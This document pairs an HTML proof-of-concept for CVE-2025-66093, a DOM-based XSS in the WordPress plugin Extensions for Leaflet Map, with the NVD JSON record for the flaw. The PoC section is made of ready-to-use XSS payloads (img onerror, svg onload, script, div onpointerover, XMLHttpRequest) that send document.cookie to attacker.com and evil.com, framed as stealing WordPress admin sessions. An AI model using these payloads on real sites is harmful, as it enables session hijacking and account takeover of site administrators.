CVE-2025-66093

<!-- DOM-based XSS PoC for CVE-2025-66093 --> <!-- Attack Scenario: Inject malicious script through map marker content --> <!-- Method 1: Using img tag with onerror handler --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Method 2: Using SVG element --> <svg/onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))> <!-- Method 3: Using script tag (if reflected in script context) --> <script>fetch('https://attacker.com/exfil?session='+document.cookie)</script> <!-- Real-world attack payload example --> <div onpointerover="fetch('https://evil.com/log?c='+document.cookie)">Hover me</div> <!-- WordPress admin exploitation --> <!-- If admin views the malicious map, attacker can steal admin session --> <script>var xhr=new XMLHttpRequest();xhr.open('POST','https://attacker.com/backdoor');xhr.send(document.cookie)</script>

{"cve": {"id": "CVE-2025-66093", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:50.730", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hupe13 Extensions for Leaflet Map extensions-leaflet-map allows DOM-Based XSS.This issue affects Extensions for Leaflet Map: from n/a through <= 4.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/extensions-leaflet-map/vulnerability/wordpress-extensions-for-leaflet-map-plugin-4-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}